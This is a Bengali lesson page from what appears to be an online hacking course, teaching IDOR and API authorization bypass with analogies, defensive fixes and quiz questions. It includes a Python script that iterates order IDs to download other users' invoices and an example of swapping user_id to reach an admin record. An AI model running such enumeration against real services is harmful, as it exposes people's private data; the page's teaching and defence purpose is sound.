⚡ Shadow Academy
đŸšĒ Chapter 38

āĻāχ āĻ…āĻ§ā§āϝāĻžāϝāĻŧ⧇ āϕ⧀ āĻļāĻŋāĻ–āĻŦ⧇

⏱ āφāύ⧁āĻŽāĻžāύāĻŋāĻ• āϏāĻŽāϝāĻŧ: ā§§ā§Ģâ€“ā§¨ā§Ļ āĻŽāĻŋāύāĻŋāϟ ¡ āĻĒā§‚āĻ°ā§āĻŦāĻļāĻ°ā§āϤ: āφāϗ⧇āϰ āĻ…āĻ§ā§āϝāĻžāϝāĻŧ⧇āϰ āϧāĻžāϰāĻŖāĻž

ā§Ļ / ā§§ā§Ļā§Ļ āĻ…āĻ§ā§āϝāĻžā§ŸāϚāĻžāϞāĻŋāϝāĻŧ⧇ āϝāĻžāĻ“: āĻ…āĻ§ā§āϝāĻžāϝāĻŧ 39

āĻ…āĻ—ā§āϰāĻ—āϤāĻŋ āĻāχ browser-āĻ āĻ¸ā§āĻĨāĻžāύ⧀āϝāĻŧāĻ­āĻžāĻŦ⧇ āϏāĻ‚āϰāĻ•ā§āώāĻŋāϤ āĻšāĻŦ⧇āĨ¤

đŸšĒ
IDOR & API Auth Bypass — āĻ…āĻ¨ā§āϝ⧇āϰ āĻĻāϰāϜāĻž āĻ–ā§‹āϞ⧋!
āĻ…āύ⧁āĻ°ā§āĻ§ā§āĻŦ āĻ…āĻŦāĻœā§‡āĻ•ā§āϟ āϰ⧇āĻĢāĻžāϰ⧇āĻ¨ā§āϏ, āĻ…āύ⧁āĻ°ā§āĻ§ā§āĻŦ āĻĒāĻžāϰāĻŽāĻŋāĻļāύ āĻšā§‡āĻ• āĻ“ āĻ…āĻŸā§‹āĻŽā§‡āĻŸā§‡āĻĄ āφāχāĻĄāĻŋāĻ“āϰ āĻāĻ•ā§āϏāĻĒā§āϞ⧋āϰ⧇āĻļāύ
🧭 āĻĻāĻ•ā§āώāϤāĻž āϝāĻžāϚāĻžāχ āĻ“ āĻĒā§āϰāϤāĻŋāϰāĻ•ā§āώāĻžāĻŽā§‚āϞāĻ• takeaway
Skill checkpoint: āĻĻ⧁āϟāĻŋ dummy role āĻĻāĻŋā§Ÿā§‡ object authorization matrix āϤ⧈āϰāĻŋ āĻ•āϰ⧋āĨ¤
Defense checkpoint: āĻĒā§āϰāϤāĻŋāϟāĻŋ object request-āĻ owner/role check server-side enforce āĻ•āϰ⧋.
Lab scope: āĻļ⧁āϧ⧁ āύāĻŋāĻœā§‡āϰ lab, synthetic data āĻŦāĻž āϞāĻŋāĻ–āĻŋāϤ āĻ…āύ⧁āĻŽāϤāĻŋāĻĒā§āϰāĻžāĻĒā§āϤ target-āĻ āĻ…āύ⧁āĻļā§€āϞāύ āĻ•āϰ⧋āĨ¤ Real credential, token āĻŦāĻž customer data āĻŦā§āϝāĻŦāĻšāĻžāϰ āϕ⧋āϰ⧋ āύāĻžāĨ¤
Portfolio proof: finding, impact, fix āĻ“ retest āύāĻŋā§Ÿā§‡ ā§Ģ-āϞāĻžāχāύ⧇āϰ redacted note āϰāĻžāĻ–ā§‹āĨ¤
đŸšĒ āĻ—āĻ˛ā§āĻĒ ā§§: āĻšā§‹āĻŸā§‡āϞ⧇āϰ āϚāĻžāĻŦāĻŋ āĻ“ āĻ…āĻ¨ā§āϝ⧇āϰ āϘāϰ⧇āϰ āϰāĻšāĻ¸ā§āϝ
āĻ­āĻžāĻŦā§‹ āϤ⧁āĻŽāĻŋ āĻāĻ•āϟāĻŋ āĻŦāĻŋāϞāĻžāϏāĻŦāĻšā§āϞ āĻšā§‹āĻŸā§‡āϞ⧇ āωāϠ⧇āϛ⧋ āĻāĻŦāĻ‚ āϤ⧋āĻŽāĻžāϰ āϰ⧁āĻŽ āύāĻŽā§āĻŦāϰ āĻšāϞ⧋ ā§§ā§Ļā§§āĨ¤ āĻšā§‹āĻŸā§‡āϞ⧇āϰ āĻŦ⧟ āϤ⧋āĻŽāĻžāϕ⧇ āĻāĻ•āϟāĻŋ āϏāĻžāϧāĻžāϰāĻŖ āϚāĻžāĻŦāĻŋ āĻĻāĻŋā§Ÿā§‡ āĻŦāϞāϞ: 'āĻāϟāĻž āφāĻĒāύāĻžāϰ āϚāĻžāĻŦāĻŋ'āĨ¤

āĻ•āĻŋāĻ¨ā§āϤ⧁ āĻ•ā§ŒāϤ⧁āĻšāϞāĻŦāĻļāϤ āϤ⧁āĻŽāĻŋ āĻšā§‡āρāĻŸā§‡ āĻ—āĻŋā§Ÿā§‡ āĻĒāĻžāĻļ⧇āϰ ā§§ā§Ļ⧍ āύāĻŽā§āĻŦāϰ āϰ⧁āĻŽā§‡āϰ āĻĻāϰāϜāĻžā§Ÿ āύāĻŋāĻœā§‡āϰ āϚāĻžāĻŦāĻŋāϟāĻž āĻ˜ā§‹āϰāĻžāϞ⧇ āĻāĻŦāĻ‚ āĻĻ⧇āĻ–āϞ⧇ — āĻ–āϟāĻžāϏ āĻ•āϰ⧇ ā§§ā§Ļ⧍ āύāĻŽā§āĻŦāϰ āϰ⧁āĻŽā§‡āϰ āĻĻāϰāϜāĻžāĻ“ āϖ⧁āϞ⧇ āϗ⧇āϞ! āϭ⧇āϤāϰ⧇ āĻĸ⧁āϕ⧇ āĻĻ⧇āĻ–āϞ⧇ āφāϰ⧇āĻ•āϜāύ āĻŦ⧜āϞ⧋āϕ⧇āϰ āϏāĻŽāĻ¸ā§āϤ āĻ¸ā§āϝ⧁āϟāϕ⧇āϏ, āĻ˛ā§āϝāĻžāĻĒāϟāĻĒ āφāϰ āĻ—ā§‹āĻĒāύ āĻĻāϞāĻŋāϞ āĻĒā§œā§‡ āφāϛ⧇!

āĻšā§āϝāĻžāĻ•āĻŋāĻ‚ā§Ÿā§‡āϰ āĻĒāϰāĻŋāĻ­āĻžāώāĻžā§Ÿ āĻāχ āĻŽāĻžāϰāĻžāĻ¤ā§āĻŽāĻ• āύāĻŋāϰāĻžāĻĒāĻ¤ā§āϤāĻžāĻšā§€āύāϤāĻžāϕ⧇ āĻŦāϞāĻž āĻšā§Ÿ IDOR (Insecure Direct Object Reference)!
🔓 āĻ—āĻ˛ā§āĻĒ ā§¨: āĻ“āϝāĻŧ⧇āĻŦ API-āϤ⧇ IDOR āϕ⧀āĻ­āĻžāĻŦ⧇ āĻ•āĻžāϜ āĻ•āϰ⧇?
āϤ⧁āĻŽāĻŋ āϝāĻ–āύ āϕ⧋āύ⧋ āĻ“ā§Ÿā§‡āĻŦāϏāĻžāχāĻŸā§‡ āύāĻŋāĻœā§‡āϰ āĻĒā§āϰ⧋āĻĢāĻžāχāϞ āĻĻ⧇āĻ–ā§‹, āĻŦā§āϰāĻžāωāϜāĻžāϰ āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇ āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āϟ āĻĒāĻžāĻ āĻžā§Ÿ:
`GET /api/user/orders?user_id=8842`

āϝāĻĻāĻŋ āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇āϰ āĻĄā§‡āϭ⧇āϞāĻĒāĻžāϰ āĻ…āϞāϏ āĻšā§Ÿ āĻāĻŦāĻ‚ āϏ⧇ āĻļ⧁āϧ⧁ āĻĻ⧇āϖ⧇ 'āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āϟāĻ•āĻžāϰ⧀ āϞāĻ—āχāύ āĻ•āϰāĻž āφāϛ⧇ āĻ•āĻŋāύāĻž' āĻ•āĻŋāĻ¨ā§āϤ⧁ āĻāϟāĻž āύāĻž āĻĻ⧇āϖ⧇ āϝ⧇ ā§Žā§Žā§Ē⧍ āύāĻŽā§āĻŦāϰ āφāχāĻĄāĻŋāϟāĻŋ āϏāĻ¤ā§āϝāĻŋāχ āϞāĻ—āχāύ āĻ•āϰāĻž āχāωāϜāĻžāϰ⧇āϰ āĻ•āĻŋāύāĻž, āϤāĻ–āύāχ āϘāĻŸā§‡ āϏāĻ°ā§āĻŦāύāĻžāĻļ!
āϤ⧁āĻŽāĻŋ āĻļ⧁āϧ⧁ āϏāĻ‚āĻ–ā§āϝāĻžāϟāĻŋ āĻŦāĻĻāϞ⧇ `user_id=8843` āĻŦāĻž `user_id=1` (āĻ…ā§āϝāĻžāĻĄāĻŽāĻŋāύ) āĻ•āϰ⧇ āĻĻāĻŋāϞ⧇āχ āϏāĻžāϰāĻž āĻĻ⧁āύāĻŋ⧟āĻžāϰ āϞāĻžāĻ– āϞāĻžāĻ– āĻŽāĻžāύ⧁āώ⧇āϰ āĻŦā§āϝāĻ•ā§āϤāĻŋāĻ—āϤ āĻ āĻŋāĻ•āĻžāύāĻž, āĻĢā§‹āύ āύāĻŽā§āĻŦāϰ āĻ“ āĻ•ā§āϰāϝāĻŧ⧇āϰ āχāϤāĻŋāĻšāĻžāϏ āϤ⧋āĻŽāĻžāϰ āĻ¸ā§āĻ•ā§āϰāĻŋāύ⧇ āϭ⧇āϏ⧇ āωāĻ āĻŦ⧇!
# Python āĻ¸ā§āĻ•ā§āϰāĻŋāĻĒā§āϟ āĻĻāĻŋā§Ÿā§‡ āφāχāĻĄāĻŋ āχāύāĻ•ā§āϰāĻŋāĻŽā§‡āĻ¨ā§āϟ āĻ•āϰ⧇ āφāχāĻĄāĻŋāĻ“āϰ āĻĄā§‡āϟāĻž āĻ¸ā§āĻ•ā§āĻ°ā§āϝāĻžāĻĒ āĻ•āϰāĻž:
import requests

cookies = {'session_token': 'my_valid_session_cookie'}

# ā§§ā§Ļā§Ļ āĻĨ⧇āϕ⧇ ā§§ā§§ā§Ļ āĻĒāĻ°ā§āϝāĻ¨ā§āϤ āϏāĻŦāĻžāϰ āχāύāĻ­ā§Ÿā§‡āϏ āĻĄāĻžāωāύāϞ⧋āĻĄ āĻ•āϰ⧋:
for order_id in range(100, 110):
    url = f"https://api.target.com/orders/{order_id}/invoice.pdf"
    res = requests.get(url, cookies=cookies)
    if res.status_code == 200:
        with open(f"invoice_{order_id}.pdf", "wb") as f:
            f.write(res.content)
        print(f"đŸ”Ĩ Downloaded Victim's Invoice: Order #{order_id}")
đŸ›Ąī¸ āĻ—āĻ˛ā§āĻĒ ā§Š: UUID āĻŦāύāĻžāĻŽ Sequential ID āĻ“ āĻĒāĻžāϰāĻŽāĻŋāĻļāύ āĻŽā§āϝāĻžāĻŸā§āϰāĻŋāĻ•ā§āϏ
IDOR āĻĨ⧇āϕ⧇ āĻŦāĻžāρāϚāĻžāϰ āϏāĻšāϜāϤāĻŽ āωāĻĒāĻžā§Ÿ āĻšāϞ⧋ āϏāĻŋāĻ•ā§‹ā§Ÿā§‡āĻ¨ā§āϏāĻŋ⧟āĻžāϞ āφāχāĻĄāĻŋ (`1, 2, 3...`) āĻŦāĻžāĻĻ āĻĻāĻŋā§Ÿā§‡ UUIDv4 (`c4a8d09f-6b21-4f1a...`) āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāĻžāĨ¤ āĻ•āĻžāϰāĻŖ āϜāϟāĻŋāϞ āĻ°â€ā§āϝāĻžāĻ¨ā§āĻĄāĻŽ āφāχāĻĄāĻŋ āϕ⧇āω āϏāĻšāĻœā§‡ āφāĻ¨ā§āĻĻāĻžāϜ āĻ•āϰāϤ⧇ āĻĒāĻžāϰ⧇ āύāĻžāĨ¤
āĻ•āĻŋāĻ¨ā§āϤ⧁ āφāϏāϞ āϏāĻŽāĻžāϧāĻžāύ āĻšāϞ⧋ āϏāĻžāĻ°ā§āĻ­āĻžāϰ-āϏāĻžāχāĻĄā§‡ āĻļāĻ•ā§āϤāĻĒā§‹āĻ•ā§āϤ Access Control Matrix āϰāĻžāĻ–āĻž — āĻĒā§āϰāϤāĻŋāϟāĻž āĻ•ā§ā§Ÿā§‡āϰāĻŋāϰ āϏāĻžāĻĨ⧇ āĻŽā§‡āϞāĻžāϤ⧇ āĻšāĻŦ⧇: `WHERE order_id = ? AND owner_id = logged_in_user_id`!
💡 IDOR āĻšāĻžāĻ¨ā§āϟāĻŋāĻ‚ āĻ¸ā§āĻŸā§āĻ°ā§āϝāĻžāĻŸā§‡āϜāĻŋ
āϏāĻŦāϏāĻŽā§Ÿ āĻĻ⧁āϟāĻŋ āφāϞāĻžāĻĻāĻž āĻ…ā§āϝāĻžāĻ•āĻžāωāĻ¨ā§āϟ (Account A āĻ“ Account B) āϖ⧁āϞ⧇ āĻŸā§‡āĻ¸ā§āϟ āĻ•āϰāĻŦ⧇āĨ¤ Account A-āϰ āϕ⧁āĻ•āĻŋ āĻĻāĻŋā§Ÿā§‡ Account B-āϰ āϰāĻŋāϏ⧋āĻ°ā§āϏ āĻ…ā§āϝāĻžāĻ•ā§āϏ⧇āϏ āĻ•āϰ⧇ āĻĻ⧇āĻ–āĻŦ⧇ āϏāĻžāĻ°ā§āĻ­āĻžāϰ ⧍ā§Ļā§Ļ āĻ“āϕ⧇ āĻĻā§‡ā§Ÿ āĻ•āĻŋāύāĻž!

đŸ§Ē IDOR Vulnerability Scanner

āĻ­āĻŋāĻ•āϟāĻŋāĻŽā§‡āϰ āĻ…āĻ°ā§āĻĄāĻžāϰ āĻŦāĻž āχāύāĻ­ā§Ÿā§‡āϏ āφāχāĻĄāĻŋ āχāύāĻĒ⧁āϟ āĻĻāĻŋā§Ÿā§‡ āϞāĻžāχāĻ­ āĻĄā§‡āϟāĻž āϞāĻŋāĻ• āĻĻ⧇āĻ–ā§‹!

āĻ˛ā§āϝāĻžāĻŦ⧇āϰ āχāύāĻĒ⧁āϟ āĻĻāĻŋā§Ÿā§‡ "āϰāĻžāύ āĻ•āϰ⧋" āĻŦāĻžāϟāύ⧇ āĻ•ā§āϞāĻŋāĻ• āĻ•āϰ⧋...
❓ āĻĒā§āϰāĻļā§āύ 1: IDOR āĻŽāĻžāύ⧇ āϕ⧀?
❓ āĻĒā§āϰāĻļā§āύ 2: IDOR exploit āĻ•āϰāϤ⧇ āϕ⧀ āĻŦāĻĻāϞāĻžāĻ“?
❓ āĻĒā§āϰāĻļā§āύ 3: āϏāĻŦāĻšā§‡āϝāĻŧ⧇ common IDOR vulnerability āϕ⧋āĻĨāĻžāϝāĻŧ?
❓ āĻĒā§āϰāĻļā§āύ 4: IDOR prevent āĻ•āϰāϤ⧇ āϕ⧀ āĻ•āϰāϤ⧇ āĻšāϝāĻŧ?
❓ āĻĒā§āϰāĻļā§āύ 5: IDOR bug bounty-āϤ⧇ āĻ•āϤ āϟāĻžāĻ•āĻž āĻĒāĻžāĻ“āϝāĻŧāĻž āϝāĻžāϝāĻŧ?
❓ āĻĒā§āϰāĻļā§āύ 6: GraphQL-āĻ IDOR āϕ⧀āĻ­āĻžāĻŦ⧇?
❓ āĻĒā§āϰāĻļā§āύ 7: Sequential ID-āϰ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤ⧇ āϕ⧀ use āĻ•āϰāĻž āωāϚāĻŋāϤ?
❓ āĻĒā§āϰāĻļā§āύ 8: IDOR-āĻāϰ āĻĒāϰ āϕ⧀ data āĻĒāĻžāĻ“āϝāĻŧāĻž āϝ⧇āϤ⧇ āĻĒāĻžāϰ⧇?
❓ āĻĒā§āϰāĻļā§āύ 9: IDOR test āĻ•āϰāϤ⧇ āϕ⧋āύ Burp feature āĻ•āĻžāĻœā§‡ āϞāĻžāϗ⧇?
❓ āĻĒā§āϰāĻļā§āύ 10: ?userId=123 URL parameter āĻĻ⧇āĻ–āϞ⧇ āϕ⧀ āĻ•āϰāĻŦ⧇?

āĻŦāĻŋāĻļā§āĻŦāĻ¸ā§āϤ reference

āφāϰāĻ“ āĻĒāĻĄāĻŧāĻžāϰ āϜāĻ¨ā§āϝ āĻĒā§āϰāϤāĻŋāĻˇā§āĻ āĻŋāϤ security standards āĻ“ guidance āĻĻ⧇āĻ–ā§‹; āĻĒā§āϰāϤāĻŋāϟāĻŋ lab āĻ…āύ⧁āĻŽā§‹āĻĻāĻŋāϤ āĻŦāĻž synthetic environment-āĻ āĻ•āϰ⧋āĨ¤

Bristy Ma'am
āĻŦ⧃āĻˇā§āϟāĻŋ āĻŽā§āϝāĻžāĻŽ 👩‍đŸĢ
āϤ⧋āĻŽāĻžāϰ āĻĒāĻžāĻ°ā§āϏ⧋āύāĻžāϞ āĻšā§āϝāĻžāĻ•āĻŋāĻ‚ āĻŽā§‡āĻ¨ā§āϟāϰ â€ĸ āĻ…āύāϞāĻžāχāύ
āφāϰ⧇ āϏ⧌āϰāĻ­! āϕ⧇āĻŽāύ āφāϛ⧋? āϕ⧋āύ⧋ āĻ•āύāϏ⧇āĻĒā§āϟ āĻŦāĻž āϕ⧁āχāĻœā§‡ āφāϟāĻ•āĻžāϞ⧇ āφāĻŽāĻžāϕ⧇ āĻŦāϞ⧋, āφāĻŽāĻŋ āĻŦ⧁āĻāĻŋā§Ÿā§‡ āĻĻāĻŋāĻšā§āĻ›āĻŋ! â¤ī¸